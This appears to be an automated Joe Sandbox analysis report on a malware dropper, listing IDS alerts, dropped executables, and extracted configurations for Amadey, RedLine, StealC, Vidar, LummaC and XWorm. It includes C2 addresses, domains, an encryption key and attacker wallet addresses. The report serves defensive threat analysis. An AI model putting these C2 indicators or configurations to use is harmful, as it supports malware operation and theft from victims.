Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:18:20.942391+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:27.105619+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:28.182258+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:29.343988+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:30.196956+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:32.739071+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:33.557177+0200	2803304	3	Unknown Traffic	192.168.2.6	49613	185.215.113.17	80	TCP
2024-09-27T16:18:43.383784+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:49.438420+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:50.681415+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:51.436258+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:52.072432+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:53.849543+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP
2024-09-27T16:18:54.495900+0200	2803304	3	Unknown Traffic	192.168.2.6	49631	91.202.233.158	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1358803
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1357677
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\gold[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1351932

Found malware configuration

Source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["188.190.10.161"], "Port": "4444", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source: 00000002.00000002.2262892966.0000000000201000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}
Source: 0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "89.105.223.196:29862", "Bot Id": "ERROR RDX", "Authorization Header": "21d3b2e8d7fdeff423c7a5819c5e64ed"}
Source: 00000018.00000002.3030940765.0000000003710000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}
Source: 00000018.00000002.3030940765.0000000003710000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}
Source: 15.2.RegAsm.exe.400000.1.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["lootebarrkeyn.shop", "gutterydhowi.shop", "reinforcenh.shop", "stogeneratmns.shop", "vozmeatillu.shop", "ghostreedmnu.shop", "offensivedzvju.shop", "fragnantbui.shop", "drawzhotdog.shop"], "Build id": "FATE99--Mix"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\neon[1].exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\gold[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\needmoney[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\12dsvc[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\newbundle2[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\LummaC222222[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\cccc2[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\needmoney[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\rstxdhuj[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\neon[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: reinforcenh.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: stogeneratmns.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: fragnantbui.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: drawzhotdog.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: vozmeatillu.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: offensivedzvju.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: ghostreedmnu.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: gutterydhowi.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: lootebarrkeyn.shop
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: TeslaBrowser/5.5
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: - Screen Resoluton:
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: - Physical Installed Memory:
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: Workgroup: -
Source: 15.2.RegAsm.exe.400000.1.unpack	String decryptor: FATE99--Mix
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: 188.190.10.161
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: 4444
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: <IlwAYl63V65*l#>
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: <Xwormmm>
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: XWorm V5.6
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: USB.exe
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: bc1qyrkl2d6y5szrmqdhc4tv5jjavgyrtlcu072d73
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: 0xCF1f6F491C7C6345B2139C0bB9204e64f37BD4e9
Source: 38.2.InstallUtil.exe.400000.0.unpack	String decryptor: TVc65vYbkKfbEAqihVbyZuSVVagPux7c7h

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:49635 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:49638 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.140.192.213:443 -> 192.168.2.6:49644 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.194:443 -> 192.168.2.6:49646 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.194:443 -> 192.168.2.6:49647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.194:443 -> 192.168.2.6:49673 version: TLS 1.2

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005D88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: stealc_default2.exe, 00000017.00000002.3113843128.000000006958D000.00000002.00000001.01000000.0000001C.sdmp, svchost015.exe, 0000001E.00000002.3461869295.0000000068EFD000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005D88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb8 source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: System.ServiceModel.pdb693405117-2476756634-1003_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32^ source: RegAsm.exe, 0000000B.00000002.3518496175.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3516704262.0000000000B37000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: RegAsm.exe, 0000000B.00000002.3518496175.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: stealc_default2.exe, 00000017.00000002.3113843128.000000006958D000.00000002.00000001.01000000.0000001C.sdmp, svchost015.exe, 0000001E.00000002.3461869295.0000000068EFD000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: c:\rje\tg\7v\obj\Release\Qrr.pdb source: axplong.exe, 00000006.00000002.3518419435.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3252257395.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3252600342.0000000000F26000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_0041B6EA FindFirstFileExW,

15_2_0041B6EA

Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File opened: C:\Users\user\AppData\Local\Temp

Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_004CD2C0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then jmp eax	16_2_00507600
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_0050A7E0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	16_2_0050AC00
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then push ebx	16_2_004D5078
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	16_2_005050E0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F40F5
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F40F5
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx edi, byte ptr [eax+esi]	16_2_004C7120
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_004EA274
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [edx], ax	16_2_004EA274
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_004EA2F9
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [edx], ax	16_2_004EA2F9
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	16_2_00502280
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_004EA345
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [edx], ax	16_2_004EA345
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_004EA345
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	16_2_004F1370
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov ebx, eax	16_2_004CA3C0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov ebp, eax	16_2_004CA3C0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	16_2_00509390
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_00509390
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh	16_2_004EC390
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh	16_2_004EC390
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_004E4490
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	16_2_004E04A0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_004E04A0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov ecx, esi	16_2_004ED56C
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	16_2_004FB510
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esi+000006A8h]	16_2_004DE52C
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov ecx, esi	16_2_004ED58E
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_004EF5B7
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esi]	16_2_004D46B5
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	16_2_004CF7E0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [edx], cl	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	16_2_004DA880
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp al, 2Eh	16_2_004EC891
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then xor eax, eax	16_2_004EC891
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	16_2_00504970
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	16_2_005089F0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_004F4A2F
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	16_2_00505AD0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esi]	16_2_004D3AE6
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov ebx, ecx	16_2_004D3AE6
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	16_2_004D3AE6
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then jmp edx	16_2_004E7B0F
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	16_2_004EBB00
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	16_2_004F0BD0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	16_2_00508BE0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	16_2_004C4C10
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	16_2_004E6CA0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then add edi, 02h	16_2_004DDD64
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [ebx]	16_2_004DDD64
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	16_2_004C5D20
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_004F4DF6
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	16_2_0050AD90
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	16_2_00505D80
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_00509E60
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	16_2_004D4E26
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then xor eax, eax	16_2_004D4E26
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_00507EDE
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	16_2_004CFEBC
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_0050AF10
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	16_2_0050AF10
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_004E6F20
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then xor eax, eax	16_2_004CEFFC
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000120h]	16_2_004CEFFC
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	16_2_004DCFF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49602 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.6:49602
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49604 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49607 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.6:49610 -> 65.21.18.51:45580
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.6:49610 -> 65.21.18.51:45580
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 65.21.18.51:45580 -> 192.168.2.6:49610
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49611 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49614 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49613 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49613 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.17:80 -> 192.168.2.6:49613
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49613 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.17:80 -> 192.168.2.6:49613
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49613 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 65.21.18.51:45580 -> 192.168.2.6:49610
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49616 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49617 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49622 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 185.215.113.117:80 -> 192.168.2.6:49623
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.6:49624 -> 89.105.223.196:29862
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.6:49624 -> 89.105.223.196:29862
